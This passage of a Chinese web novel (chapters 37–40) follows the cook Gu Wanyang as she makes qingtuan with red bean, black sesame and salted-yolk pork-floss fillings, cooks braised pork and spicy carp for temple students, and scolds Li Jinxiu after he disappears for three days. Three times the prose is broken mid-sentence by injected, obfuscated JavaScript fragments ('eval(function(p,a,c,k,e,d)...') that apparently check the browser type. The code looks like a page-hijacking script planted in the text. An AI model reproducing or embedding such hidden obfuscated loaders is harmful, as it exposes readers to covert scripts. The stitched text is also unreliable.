走在路上的顾宛央，被微风一吹，突然感觉心情好了很多，原来行动起来会治愈一切是真的。 小桃说的没错，出了城门后，小路边上全是绿油油的艾草，小桃欢呼一声，冲了过去开始摘起来。 没多一会，顾宛央和小桃的两个背篓都摘满了，在返回的路上，顾宛央又把做青团要用到的馅料食材给买好了，只是，晚上又要加班做青团了！ 等晚上全部的活都忙完了以后，小桃主动过来帮忙，顾宛央让小桃把下午摘来的艾草叶再挑嫩叶摘一遍，然后清洗干净后放锅中煮几分钟，再将煮好的艾草叶捞出用石磨磨出汁水。 有了小桃的帮忙，顾宛央就可以来准备馅料了，她就打算做两种馅料，一种是很传统的豆沙馅，一种是口感非常好的流沙芝麻馅，其实青团的馅料有很多种，只是时间的关系，顾宛央来不及做那么多种类。 顾宛央先将红豆洗干净了，加清水放入锅中熬煮，接着便小火开始炒黑芝麻，慢慢炒出香味后，便可以盛出来了，炒熟的芝麻用擀面杖稍微擀两下，不用擀成碎末，有些许颗粒状口感会更好。 接着便把擀好的芝麻颗粒放进大盆中，再加入白糖和猪油一起搅拌均匀，然后再搓成一个个大小均等的小丸子，黑芝麻馅便做好了。 这时，红豆也熬煮的差不多了，熬煮好的红豆绵密软烂，将红豆趁热倒入锅中，用锅铲将红豆压成沙状，然后烧小火慢慢将锅中的红豆沙水分炒干，再加入些许油和糖，与红豆沙一起混合炒制，让它们完全融合到一起，等到红豆沙已经不粘锅就可以盛出来了。 盛出来的红豆沙等凉凉后，也是搓成跟芝麻馅大小一样的丸子，红豆沙馅便做好了。 等顾宛央将两种馅料全部做好后，小桃这边的艾草汁也已经全部磨了出来，接着便是要做青团的皮子了。 将糯米粉倒入大盆中，加入少许面粉防止面团太黏腻，再把艾草汁分批分量地加入其中，一边搅拌一边揉搓，直至变成光滑圆润的青色大面团。 顾宛央只用了艾草汁，并未将石墨中的艾草泥加入进去，是因为只用艾草汁的话，颜色比较浅，看上去更加漂亮，而且口感也会更细腻。 青团面皮和好后，根据馅料的大小，做成厚实的一张张皮子，把馅料包裹进去，仔细地用虎口收口，再细细地调整青团的平整度度，使得每个青团大小均匀又非常的圆润。 小桃在一旁仔细地看着，但她没有上手，因为是要拿出去售卖的，不能出一点问题，先学习着，回头自己做的时候可以先练练手。 顾宛央专注地包着青团，李瑾修也被香喷喷的馅料吸引了过来，跟小桃一起围观她做青团。 还剩十几张青团皮的时候，顾宛央发现馅料已经用完了，有些尴尬地抬头看向李瑾修和小桃笑了笑，糟糕了，馅料准备少了。 “没事，剩下的就做空心青团，也很好吃的。”小桃很贴心地说道。 “空心的青团有什么好吃的！”李瑾修表示反对，空心的青团不就是个糯米团子嘛，有啥好吃的。 小桃踢了李瑾修一脚，李瑾修立马闭了嘴。 顾宛央白了李瑾修一眼，不想搭理他，她看着剩余的青团皮子想了想，决定把肉松拿了出来，再拿了几个咸鸭蛋出来，既然有现成的馅料，倒是不用做空心青团了。 “宛央姐，你拿这些东西做什么？”小桃有些疑惑地问道。 “调个青团馅料，把这剩下的皮子都包了去。”顾宛央一边手上不停，一边说道。 “啊？这两种食材怎么能做青团馅料的？这可是咸的啊。”小桃说道。 李瑾修刚刚被小桃踢了一脚，又被顾宛央白了一眼，现在是什么话都不敢说，紧紧闭着嘴巴，但眼睛里也是大大的疑惑。 顾宛央反应过来，既然他们不知道肉松的存在，那自然没吃过咸蛋黄肉松馅的青团，那倒是要做出来让他们尝尝，让他们知晓咸青团也是非常好吃的。 “等会做 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等青团稍凉，小桃便迫不及待地拿起了咸蛋黄肉松馅的青团，她真的很想尝尝是什么味道。 “小心烫。”顾宛央忍不住出声提醒。 只见小桃使劲吹了几下，感觉到没那么烫了，便一口咬了下去，软糯的青团皮咬开后便是咸蛋黄和肉松的混合馅料，咸鲜的馅料加上微甜的皮子，居然这么好吃！ 李瑾修倒是没有小桃这么猴急，他在等青团温度合适再吃，只是当他看到小桃吃到咸蛋黄肉松馅的青团时，那满脸写着好吃的表情，以及散发出来的热气带着香气，不由地伸出手去，把还未完全凉下来的青团拿了起来。 稍稍吹了几下后，李瑾修便尝到了从未吃到过的美味，甜的、咸的、鲜的、糯的、还有艾草的香气，这些口味糅合到了一起，口感变得非常丰富，这些味道融合在一起居然一点都不违和，还意外地好吃。 看着李瑾修和小桃吃的开心，顾宛央也拿起一个尝了起来，艾草特有的清香味完全融进面团中，加了面粉中和后，糯米变得更加筋道而且不粘牙。 至于咸蛋黄肉松馅的味道，跟顾宛央脑中的记忆是差不多的，只是没有加入色拉酱的馅料，少了些香甜的口味，但也不再甜腻，只有清清爽爽的咸鲜味。 顾宛央吃了一个咸蛋黄肉松馅的青团就已经饱了，但李瑾修和小桃却不满足，好歹得把三种馅料的青团都吃一遍才行。 顾宛央虽然没再吃，但她在关注小桃尝的流沙黑芝麻馅的青团，见她咬了一口口后，黑芝麻就像流沙一样露了出来，是她想要做到的样子。 在他们品尝完红豆沙和黑芝麻馅的青团后，询问了一下口感和味道，得到李瑾修和小桃的一致好评，顾宛央这才安心地去休息，只等着明天早上蒸好后，拿去早市上售卖了。 37. 第 37 章 等着顾宛央出早市集摊子的食客们，见顾宛央端出来的青团，略微有些失望，这团子别家也有的卖，这段时间卖的人太多了，不稀奇的。 “各位，今天的青团有三种馅料，这是红豆沙馅的，这是流沙黑芝麻馅的，这是咸蛋黄肉松馅的。”顾宛央说道。 “咸蛋黄肉松馅的？青团还有这种做法吗？” “我只吃过红豆沙馅的，咸蛋黄肉松馅这是啥口味？” “流沙黑芝麻馅是什么？只吃过黑芝麻馅。” 面对食客们的问题，顾宛央只是笑道：“大家尝尝不就知道了。” 到底是信任顾宛央的手艺，大家虽然对青团有点失望，但还是排队买了起来。 “嗯，这咸蛋黄肉松馅的最好吃！” “诶嘿！这黑芝麻馅的居然会流动，叫流沙黑芝□□然名不虚传。” “红豆沙的也好吃诶，比街上那些摊子上的都好吃。” “真的吗？那我也来个咸蛋黄肉松馅的尝尝。” “什么？咸蛋黄肉松馅的卖完了？明天还有的卖吗？” 顾宛央统共就做了十几个咸蛋黄肉松馅的，第一个食客说好吃的时候，接下来的人基本人手一个，没多久就卖完了，她听得食客们的议论，赶忙说道：“明天会继续卖的，大家不要着急。” 一听第二天还有的卖，那些没买到的食客这才安静下来，只是看着买到的人在面前开吃，忍不住直咽口水。 没多久，顾宛央的摊子就被一买而空，她慢慢地收起摊子，推着小推车离开。 回文庙正好要经过陈大娘家，顾宛央的小推车停在了陈宅门口，她伸出手轻轻扣了三下门环。 “谁呀。”门内陈大爷的声音响起，接着便是“嘎吱”一声的开门声。 见是顾宛央笑盈盈地站立在门外，顿时惊喜地说道：“顾姑娘，你来啦，快进来快进来。” “谁？”陈大娘听到了陈大爷的声音，赶紧也跑出来看，一见是顾宛央，喜得上前拉住顾宛央的手，一边往里拽一边说道：“进来坐，进来坐。” “陈大爷，陈大娘，这是我自己做的青团，拿过来给你们尝尝鲜。”顾宛央一边随着陈大娘往里走，一边指着手上的食盒说道。 “顾姑娘真是有心了，还想着我们老头子老婆子，来，快坐。”陈大娘是真的开心，连气色也突然变得好起来。 陈大爷则是赶紧在一旁泡茶，他看着陈大娘激动地跟顾宛央说话，眼中也泛着泪光。 “正好昨晚上做的，今天早上拿去摆摊卖的，顺路就给你们送几个过来，等会我再去鲁夫人家送几个。”顾宛央说道，现在自己手头也宽裕些了，前些日子与陈家的缘分，让她心中有了牵挂，还有鲁工师推荐她做工，还没好好感谢过，今天趁着时间还早，可以到两家走一圈。 “我们正好还没吃早饭呢，老头子，过来一起吃呀。”陈大娘打开食盒说道。 “这还热着呢，真好。”陈大爷赶紧过来坐下，伸手拿起一个青团说道。 “顾姑娘，你也一起吃啊。”陈大娘说道。 “我吃过了，这是专门给你们留的。”顾宛央推辞道。 陈大娘已经闻到手上青团的香味了，她轻轻地咬了一口，温热软糯的青团皮子裹着香甜的红豆沙，吃上一口嘴里心里都是甜的。 陈大爷也是一边吃一边点头，两人细嚼慢咽地吃完青团，都感叹味道真好。 顾宛央见两位老人吃得欢喜，心里也很高兴，只是她时间不多，不能多呆，只得起身告辞。 陈大娘还想留她再坐坐，还是陈大爷拦着陈大娘，说顾宛央有正事要忙着，赶紧得走了。 顾宛央走出去好远，回头一看，陈大爷和陈大娘还守在门口一直看着她的背影离去，顾宛央突然心底有些发酸，不知道在现代爸妈过得怎么样了，他们也跟陈大爷陈大娘差不多的年纪。 鲁夫人家离得不远，顾宛央将青团送到表达了谢意后，就急匆匆地赶回文庙干活去了。 清明一过，文庙的工事已经快接近尾声了，这天徐工师来到小院找顾宛央。 “顾姑娘，文庙工事估计也就这三五天能结束了。”徐工师说道。 顾宛央点点头说道：“嗯，听工匠师傅们说了，已经在收尾了。” “工事结束后，顾姑娘有什么打算吗？”徐工师问道。 “我还是会在市集摆摊卖早点的。”顾宛央说道。 “哦？”徐工师说道：“那如果是这样的话，顾姑娘是否能再在文庙多待些日子呢？” “嗯？多待些日子是什么意思？”顾宛央有些不解地问道，工事都结束了，还让她待着干嘛。 “是这样的，刘大厨目前暂时还赶不回来，但文庙修好后，学子们便要来上学了，所以这个公厨还得继续开，顾姑娘的厨艺已经得到大家的认可，想请顾姑娘在刘大厨还未归来之前，继续暂代公厨厨师一职，不知姑娘可否愿意？”徐工师解释道。 原来是这样，这是好事呀，可以继续做工赚钱有什么不好的，本来自己还没攒够钱，还得摆上一阵子小摊才能去找店铺呢。 “愿意，多谢徐工师。”顾宛央当即答应了下来。 徐工师见顾宛央应了下来，也是松了一口气，万一她要是没时间接替，又得费劲去找厨师了，这种临时的厨师非常难找，好的厨师除非是长期雇佣，否则人家是不肯来做临时工的。 况且文庙那帮学子比工匠们可挑剔多了，要是找个普通的厨师，肯定要被他们赶走的，以前也不是没发生过这种事情，文庙公厨不知道换了多少个厨师了，直到刘大厨来后，这才稳定下来。 小桃在得知又可以继续在文庙做帮厨，高兴地都跳了起来，在这段时间里，不仅干活比在家里轻松，而且还有工钱挣，最最主要的是跟着顾宛央学了不少厨艺。 本来想着过几天就要回家的小桃，知道短时间是回不去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾宛央让小桃生灶火，嘱咐她先烧小火，然后顾宛央便将切好的肉块一块一块摆放进锅中，小火使得铁锅慢慢变热，锅中的五花肉开始发出滋滋的响声，油脂便渗了出来。 今天送来的五花肉是顾宛央特意关照要五层肥瘦相间的，所以今天的肉非常的漂亮，红烧肉做出来口感也会非常的好。 等锅中的五花肉一面微微金黄后，顾宛央耐心地用筷子一块一块地翻面，使得五花肉的四个面都变成金黄，再将煎好的五花肉捞了起来。 锅中已是熬出了半锅猪油，顾宛央将猪油舀出一半，只留了层底油，因为等会五花肉下锅还会出油。 将冰糖放入锅中炒糖色，这个过程小桃始终控制着小火，直到锅里的糖色炒制成功，顾宛央将刚刚煎好的五花肉倒了进去。 顾宛央快速翻炒着五花肉，使得糖色完全包裹住锅中的肉，原本焦黄的五花肉裹上糖色后变成了微褐色，加入料酒、酱油、糖、盐翻炒均匀，再把八角、桂皮、香叶这些调料放进去，倒清水进锅中没过肉块，等锅中水烧开后，就就要转成小火慢慢熬煮了。 等顾宛央把红烧肉炖上，一旁的尹多也已经将鲫鱼处理好了，顾宛央让供货商送来的鲫鱼个头不大，这样正好可以一人一条，而且个头小一点烧的会更入味。 不得不说尹多作为帮厨还是非常麻利的，一个人就快速地将几十条鲫鱼杀好洗好，就等着顾宛央来做了。 38. 第 38 章 做香辣鲫鱼这道菜，首先得把鲫鱼炸透，鲫鱼多刺，将鱼放入油锅中煎炸透了，小刺基本就直接可以嚼碎不会扎着喉咙了。 好在这是文庙公厨，油是管够的，锅中油热之后顾宛央将鲫鱼放进去煎炸，鲫鱼瞬间被滚烫的热油包裹，无数颗小泡泡在鱼身周边翻腾，柔软的鱼身子慢慢变得硬挺起来。 顾宛央等到鲫鱼一面煎成焦黄并且定型之后，这才用锅铲将鲫鱼一条一条地翻身，继续煎炸另一面。 几十条鲫鱼炸了好几锅这才全部炸完，顾宛央拿起一条刚刚炸好的鲫鱼，用手轻轻掰了鱼肚子部位一下，只听得咔嚓一声脆响，鱼刺已经炸酥了，炸成这样再红烧出来的鱼口感更好更香。 顾宛央把刚刚炸过鱼的油盛出一多半来，这些油可以再用来炒菜，不能浪费，锅中留了足够的底油烧热，把切好的葱姜蒜和小米椒、干辣椒扔进去爆香，再加入红油豆瓣酱炒匀。 锅中的香气扑面而来，顾宛央把鱼倒入锅中，加入酱油、盐和少许糖调味上色，再稍微地翻炒了两下，不能多翻炒怕把鱼给炒散了，便可以加入清水大火炖煮了。 炖鱼不用像炖肉那么长的时间，大火炖个十分钟左右，就可以把汁水收干了。出锅前再撒上葱花，喷香诱人的香辣鲫鱼便做好了。 今日的文庙非常热闹，因是开学第一日，全县城的学子从四面八方赶来，家住城里的学子不用住宿，但也有不少从各个镇子或者村子来的学子，他们带着行囊包裹过来文庙状元殿报到。 一众学子中，各种年龄段的都有，有二十岁左右的，三十岁左右的居多，但四十五十岁的也不在少数，古代科考的难度太大了，好些人都是考了十几年都不中，却又不肯放弃，就一直读一直考，能供得起读书的人家，家境自然是还不错的，否则肚子都吃不饱，还读什么书呢。 同窗见面，免不了寒暄几句，民以食为天，家住在城里并且消息灵通的学子，自然是听说了文庙公厨换了厨子的事，刘大厨的厨艺是得到学子们认可的，虽说新来的厨子也得到了工匠们的认可，但他们可不是那帮粗人能比的，据说新来的厨子还是个年轻女子，那能做得出比刘大厨还好吃的食物来吗！ “我说各位同窗们，公厨换厨子了大家知道吗？”家住城东的学子周文仓说道，他读书吊车尾，但这种八卦小道消息是最喜欢打听的。 “啊？换谁了？”今天刚刚进城报到的学子们自然是都没听说过，不由都惊讶地问道。 “文庙公厨怎么可以随便换人呢，刘大厨是得到我们认可的厨师，别的厨子怎么能比。”来自五河镇的学子付仁青耿直地说道。 “也不能这么说，刘大厨自然是厨艺好的，我们也都很认可的，但不一定别的厨子就做出来东西不好吃啊。”说话的是县丞家的公子崔士忠。 “崔兄说的是，好不好吃的，今天中午尝过不就知道了。”城北程家的程广辛附和道。 “是啊，反正快到晌午了，也该用午餐了。” “若是做的饭菜味道不好，我们就跟以前一样联名给官府，请求换厨子。” “对，反正以前干这种事情也不是一次两次了。” “诶诶，大家别慌嘛，虽然我没吃过新来厨子做的饭菜，但据说她在城西市集卖早点，好多人都去买，说不定厨艺还不错呢。”周文仓见大家议论纷纷，双手一抬一挥制止了大家的议论，神秘兮兮地爆料。 “额？只是个卖早点的摊贩啊？” “对啊，居然连酒楼食肆的大厨都不是呢？” “就算早点做的好吃，那也不代表饭菜做的好吃啊。” “府衙怎么会找这样的人来做文庙大厨啊？” “大家静一静，别吵了，我听说是鲁工师推荐的，在文庙做了一段时间的饭菜，得到工匠们的好评，然后刘大厨又因为家中有急事赶不回来，所以府衙才会让现在这个厨子继续暂代几日。”崔士忠到底是县丞的儿子，他分辩起来。 “对啊，刘大厨不在，总得找个厨子来做饭，要不然你们自己去找觉得合适的？既然能留下她来，那说明还是不错的，你说是不是，周兄？”程广辛同崔士忠是好友，肯定站在他这边说话。 “崔兄和程兄说的极是，我也只是把知道的跟大家伙唠唠，没有别的意思。”周文仓笑嘻嘻地说道。 “不管怎么说，大家先别在这里讨论了，赶紧去膳堂吃饭吧，吃完收拾一下，下午就有课了。”崔士忠说道。 崔士忠虽然年轻才二十出头的年纪，但在学子中声望还是比较高的，这不仅仅是因为他父亲是县丞，还是因为他为人正直作风正派，学业也是数一数二的，所以他在这群学子中间说话还是有些分量的。 崔士忠都这样说了，而且吃午饭的时辰也到了，所有人便一起往膳堂方向走去。 在膳堂准备饭菜的顾宛央可不知道状元殿的这一出，她知道今天中午肯定会有人不满，但她对于自己做的这两道菜还是有把握让挑刺的人闭嘴。 顾宛央正有条不紊地指挥着小桃和尹多把饭菜、碗筷端出来，他们三个刚刚摆放好，学子们便陆续走进了膳堂。 走在为首的崔士忠打眼一瞧，便看到顾宛央正站在放置饭菜的长桌前，一双明亮的眸子注视着他们的到来。 崔士忠暗忖，知道是个年轻女子，没想到居然这么年轻，他不由地再次看向顾宛央，只见她嘴角微微含笑，身形笔直，自信又大方地站立在那里。 这哪里像厨娘，要不是她身上穿着围裙，头上戴着头巾这样的厨子装扮，真的还以为哪家的小姐来到这里了。 “各位先生，今日膳食有红烧肉、香辣鲫鱼、清炒小白菜，请到这边来排队。”顾宛央见众人是一拥而进的，不由指挥起他们排队来。 崔士忠跟着顾宛央的指引，一边想着这女子声音如此清脆甜美，一边站到了第一个位置，见大家排好了队，顾宛央开始盛菜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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有这么好吃嘛，吃得都抬不起头来了，程广辛疑惑地想着，在吃了一口香辣鲫鱼之后，他终于明白了为何崔士忠吃得这么专注了。 确实是非常好吃！程广辛尤爱吃鱼背上的肉，但鲫鱼刺多尤其在背上，平日里都要细细地把刺挑干净才能畅快地吃，今日里这道鲫鱼背肉中的小刺，居然可以直接嚼着咽下去，因为鲫鱼已经被炸的焦脆焦脆，这些小刺一点都不是障碍了。 这不由地让程广辛欢欣雀跃起来，从未像今天这么吃得这么畅快过，他一口接着一口炫着盘中的鱼，而且他发现鱼身上的汤汁，混在米饭里面，居然非常的好吃，他不由地起身，走向顾宛央，让她将盆中鲫鱼汤汁浇一些到米饭上面，然后满脸带笑地回到座位上，开心地吃了起来。 程广辛这个举动带动了好些人，大家纷纷要求在米饭上浇汤汁，实在是因为这汤汁太鲜美了，鱼汤本身就很鲜美，再加上被高温油炸后一点都没有腥味，拌在米饭中最为适宜。 顾宛央不停地给他们浇鱼汤汁，心中不由感叹，这些人是真的会吃呢。 39. 第 39 章 所有的学子都吃上了饭，这些人一吃一个不吱声，本来想好要找茬的人，也都忘记了初心，眼中只有鱼和肉。 顾宛央首战告捷，原本对换了厨子不满的人，也都闭了嘴，每天都期待着今日有什么好吃的！ 年轻的学子们很快就跟同龄的顾宛央熟稔起来，每次吃完饭，都要围着顾宛央唠会嗑，可顾宛央惦记着给李瑾修做饭，总是匆匆忙忙地说不了几句话就跑了，自此，顾宛央住的小院门口也经常会多了些鲜花、香囊之类的小礼物。 每次李瑾修看到这些东西，都嗤之以鼻，这些人太弱了，没听说过送东西只送到门口的！都不敢当面送！每次都是敲几下门，人就跑了，就留下这些东西。 大部分时候都是李瑾修在家时收的，这些人真是闲得慌，如此几日后，李瑾修也懒得每次敲门就去开了，一般都是等到顾宛央和小桃快回来的时候开一下门，把这些乱七八糟的东西拿进来。 小桃倒是很欢喜，把鲜花找瓶子插起来，香囊挂满了全身。 “这些鲜花好香呀，瑾修哥，你看我挂着香囊好看不？”小桃问道。 “人家又不是送给你的，你这样挂着合适嘛！”李瑾修懒洋洋地瘫坐在椅子上晒太阳，看见小桃浑身的香囊，不由地说道。 “谁说不是送给我的，难道送给你的啊？那我分你两个挂着！”小桃不服气地怼道。 “你可别瞎说，怎么可能送我的，但虽然不是送我的，我敢肯定那也绝对不是送你的！”李瑾修说道。 “这些东西上又没写名字，放在我们住的小院门口，那自然是送给我们的，宛央姐说了不要，你也不要，那可不就是我一个人的啦！”小桃撅起嘴说道。 “你个小黄毛丫头，还真的是......讲得颇有道理！”李瑾修正想反驳，就看见顾宛央从西厢房出来，便立马改了口。 “你们在说什么呢？”顾宛央见两人斗得眼红脖子粗的，一转头瞥到小桃的身上，不禁笑出来：“小桃，你挂这么多香囊重不重啊，你不如每日挂一个，换着挂多好！” “有道理耶，还得是宛央姐啊！”小桃有种豁然开朗的感觉，每天挂一个，那可以轮着挂，每天都是新的。 李瑾修撇撇嘴，不说话，心里却在吐槽好俗气的香囊，怪不得宛央都看不上。 顾宛央也不管他俩的斗嘴，进了厨房，去看看最新一批酿制的桃花酿，桃花已经谢了，这是酒肆老板送来的最后一批桃花，可得仔细一点，不能有所闪失了。等这批桃花酿卖完，她得想想再酿点什么花果酒了，这笔收入虽然不是很多，但也不能少。 “顾姑娘在吗？”门外响起了敲门声。 “咦，好像是崔学子的声音，我去看看是不是他。”小桃一边说一边跑过去开门。 “果然是你，崔学子找我家宛央姐有事吗？”小桃一开门，见崔士忠站在门外，便开口问道。 崔士忠微微拱手，很有礼貌地说道：“是的，小桃姑娘，可否让我先进去？” “哦，崔学子请进。”小桃忙打开大门，说道。 “小桃，谁啊？”李瑾修的声音响起。 “是状元殿的崔学子。”小桃边关门边回复道。 这人倒是挺勇敢，居然还上门来了，李瑾修心里想着，但身子却一点都没动，依旧坐着冷眼打量来人，见他拿了一个包裹，心想这又是送什么大俗物来了！看宛央会收才怪！ “这位想必是顾姑娘的弟弟吧？果然是一表人才，颇有令姐的风范。”崔士忠拱手说道。 伸手不打笑脸人，李瑾修不是很情愿地略一拱手敷衍地回了一礼，但是没吭声，心里暗想你才是弟弟！ 小桃在一旁看得真切，这瑾修哥平日里跟自己和宛央姐相处的很随意，都快处成家人的感觉了，但一旦有外人来了，他那种不怒而威的气势不由自主地就出来了。 顾宛央在厨房听到声音，走出来一看，疑惑地对崔士忠说道：“崔学子，你怎么来了，找我何事？” “顾姑娘。”崔士忠依旧不忘行礼，说道：“昨日与姑娘聊了几句古法食谱，见姑娘很感兴趣，恰好我家中有收藏两本食谱，虽不是古法食谱，但也算是前人所传下来的，今日给姑娘送来瞧瞧。” 顾宛央回礼后，就看见崔士忠从随身的包裹中拿出两本书来，听得是食谱，眼睛都亮了，忙在围裙上仔细擦了擦手，接过来说道：“崔学子费心了，等我看完就归还你。” “姑娘客气，若是喜欢，便留下此书，这两本书在我家放着也是浪费了，不如送给姑娘这等好美食之人，这也是物尽其用了。”崔士忠见顾宛央喜欢，也心生欢喜，说道。 “那就多谢崔学子，我就不客气了。”顾宛央说道。 “客气什么，回头我再帮你找找类似的书籍，给你送来。”崔士忠说道。 李瑾修在一旁有些发愣，没想到这人送的是食谱，再看看顾宛央满是欢喜的表情，心里突然有些不是滋味。 “崔学子，还是你懂我宛央姐，送的东西都送到心坎上了。”小桃在一旁说道。 “顾姑娘厨艺非凡，比刘大厨有过之而无不及，想必自然是喜欢食谱的。”崔士忠笑道，他是真真切切地觉得顾宛央做的饭菜比刘大厨好吃。 顾宛央没顾得上说话，她的注意力都集中在手中食谱中，她在现代的时候就爱收集食谱，有时为了个古法美食方子，不惜千里跋涉去寻找，如今崔士忠送来的食谱虽不是什么古法美食，但对于她来说，也是很大部分都没见过的。 小桃见顾宛央光顾着看食谱，崔士忠也不急不躁地在旁边站着，于是拉了拉顾宛央衣角，小声说道：“要不要请崔学子坐啊？” “啊！崔学子，真是多谢你了，来进屋坐会吧，我给你泡杯自己做的花果茶。”顾宛央本来看食谱入神了，被小桃一提醒，连忙收起食谱说道。 “哦？你自己做的花果茶？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“其实花果茶还应再加上橙皮、苹果干、梨干、山楂干等等这些水果干，但现在这季节暂时还没有，所以只能先用红枣、枸杞和桂圆替代，桃花是应季的鲜花，若是过了桃花季，倒是可以用茉莉花、玫瑰花、桂花这些所替代。”顾宛央娓娓道来。 崔士忠听得入神，顾宛央用甜美的嗓音述说的内容让他有丰富的画面感。 两人一边品茶一边闲聊美食，相谈甚欢。 崔士忠走后，李瑾修这才站起身进西厢房，“砰”地一声把门关了起来。 顾宛央莫名地问小桃：“他今天这是怎么了？吃火药啦？” “可能是我把香囊都拿走了，他不开心了？”小桃看着自己身上的香囊，喃喃说道。 “算了，随他去吧，我们也得去膳堂开工了。”顾宛央摇摇头说道。 “瑾修哥，我们去上工了啊。”小桃还在担心李瑾修是不是为了香囊生气，于是朝着西厢房打了招呼。 东厢房静悄悄的，好似没人在一样，小桃默默地摘下两个香囊，好心地给他挂在了西厢房的门环上，这才跟着顾宛央出了门去。 40. 第 40 章 第二天一大早，顾宛央就听见小桃的大叫声：“宛央姐，瑾修哥不见了？” 顾宛央从东厢房走出来，只见西厢房的大门敞开着，里面空无一人，平日这个时间李瑾修应该还在睡觉，都是关着门的，今天倒是很反常。 “宛央姐，瑾修哥这么早会去哪里了？不会是还在生气，离家出走了吧！”小桃说道。 顾宛央走进西厢房，四处打量了一下，说道：“他东西都还在，不像是离家出走，应该有事出去了吧。” “他这些东西又不值钱，不带走也就不带走了。”小桃有不同的意见，说完她猛然间想起什么，直接把李瑾修卧房里的柜门打开了。 顾宛央来不及阻止，只能眼睁睁看着柜门被打开，里面用布包裹着的大包银子映入眼帘。 “宛央姐，你说的对，瑾修哥应该是有事出门了，你看他这么多银子都没带走呢。”小桃回过头开心地说道。 顾宛央对小桃的行为有些无语，李瑾修的银子就是随便扔在柜子里的，前些日子跟他结账的时候，他就是从这个柜子里拿出来摊开，让顾宛央自己取的，小桃那时候也在，所以知道他把银子放哪了。 不过，虽然知道小桃是无意的，但顾宛央还是教她道：“小桃，不能随便翻别人的东西，知道吗？” “哦，知道了。”小桃被顾宛央说了一顿，有些低落，但很快她又高兴起来，瑾修哥没离家出走呢。 “把银子放好吧，既然他没离开，那过会他就回来了，我们先去干活了。”顾宛央不知为何，心中也松了口气，刚刚以为他离开的时候，心里居然有点失落，应该是相处时间久了，猛然少了一个人，多少有些难受吧。 在公厨忙碌了一上午的顾宛央匆忙回到小院，却发现李瑾修并未回来，看着西厢房的门依旧是大开着空无一人，心想这午饭是不用做了，倒是可以休息休息。 没想到的是，等做完公厨晚饭的顾宛央再回到小院时，李瑾修依然没出现，顾宛央喃喃自语“这连晚饭都不用做了啊”。 小桃干完公厨的活后回来，见李瑾修还没回来，不由说道：“宛央姐，瑾修哥怎么还没回来？” “可能事情还没办完吧。”顾宛央闷闷地说道，不知道还回不回来呢，不回来的话，他这里的两份工钱就挣不到了。 “瑾修哥也真是的，出去也不留个字条。”小桃虽然嘴里抱怨着，但还是进西厢房给他收拾屋子去了。 就是啊，要出门也不留个信，等他回来一定要好好说说他，不然她都不知道要不要买菜做饭给他吃，顾宛央心里暗自腹诽。 这一晚，顾宛央睡得有点不踏实，总感觉西厢房有声音，不知道是不是李瑾修回来了。 可惜等早上醒来一看，李瑾修还是没有回来，顾宛央不禁暗自嘀咕，这人是不是就回家去了啊！招呼也不打一声。 到了第三日，西厢房依旧空荡荡的，小桃不由说道：“宛央姐，看样子瑾修哥是不回来了，他留下这些银子应该是给我们了吧，我们把银子拿过来吧，再把他的一些杂七杂八的东西，能卖的卖了去，不能卖的就扔了吧。” “不可，这才三日，莫不说他很可能再回来，就算是不回来了，这银子咱们也不能动。”顾宛央制止道。 小桃还待说话，就听得小院门哐当一声被推开，李瑾修背了一个大布袋子出现在门口。 “我说小黄毛丫头，这才三天时间，你就要赶着分我的行李了啊？”李瑾修气鼓鼓地看着小桃说道。 “咦，瑾修哥，你回来啦，我还以为你不回来了呢！”小桃一见到李瑾修，高兴地冲过去说道。 “谁说我不回来了，我只是有事出去一趟而已，你刚刚说什么要把我东西卖了扔了的，是什么意思！”李瑾修不依不饶地说道。 “谁让你话都不留一个就跑了，还跑了那么久。”小桃跟他讲起了道理。 顾宛央听见声音转身，只见李瑾修风尘仆仆地站在门口，虽然在跟小桃吵架，但眼神不由自主地向她这边看来。 “小桃说的对，你出门有事情也该留个信，谁知道你还回不回来，我们正打算把你的东西扔了去呢。”顾宛央看着他的眼睛说道。 小桃有些诧异地看向顾宛央，平日里波澜不惊、情绪稳定的宛央姐，今天说话怎么好像有点带了火药味。 “宛央，对不住，我一时情急就忘记了，我这不是回来了嘛。”李瑾修显然也是感受到了顾宛央的情绪不对，马上滑跪认错。 “我这里又不是客栈，想来就来，想走就走的，你若是不愿意待了，可以收拾一下行李离开。”顾宛央说道。 “不走不走，我下次一定会提前打招呼的，好不好，宛央。”李瑾修有些慌了，他没想到顾宛央这么生气，那天他也是生着闷气走的，所以就没留下信，但现在又不好说自己那时候在生气，他也不知道为什么会生气。 “宛央姐，瑾修哥知道错了，他下次肯定不敢招呼不打就消失了。”小桃虽然平时跟李瑾修经常吵架，但关键时刻她还是站出来帮他。 李瑾修感激地看了小桃一眼，没想到这丫头还挺讲义气。 “不敢劳您大驾给我们打招呼，本来我们也就是萍水相逢，并没有什么太大的关系，只不过你觉得我做的饭好吃，我就给你打个工而已，但就算是这样，你要离开也得提前说，否则我买菜还是不买菜？买了菜的话不就浪费了吗，不买菜的话你突然回来了，我给你做什么吃的？”顾宛央一通输出，心情大爽。 “是是是，我的疏忽，以后肯定提前说。”李瑾修目瞪口呆看着双手叉腰、一顿数落自己的顾宛央，不由自主地认错道歉。 输出完的顾宛央心情好多了，她转身想去找杯子喝水，就发现小桃机灵地老早端了一杯水过来递给她。 顾宛央接过杯子咕嘟咕嘟喝完水，小桃又端过来一把椅子，说道：“宛央姐，坐，慢慢说。” 李瑾修一听都傻眼了，这小桃是啥意思，还嫌宛央数落自己不够吗，刚刚对她产生的一点感激，顿时烟消云散。 顾宛央看着小桃一脸看热闹的神情，不由点了一下 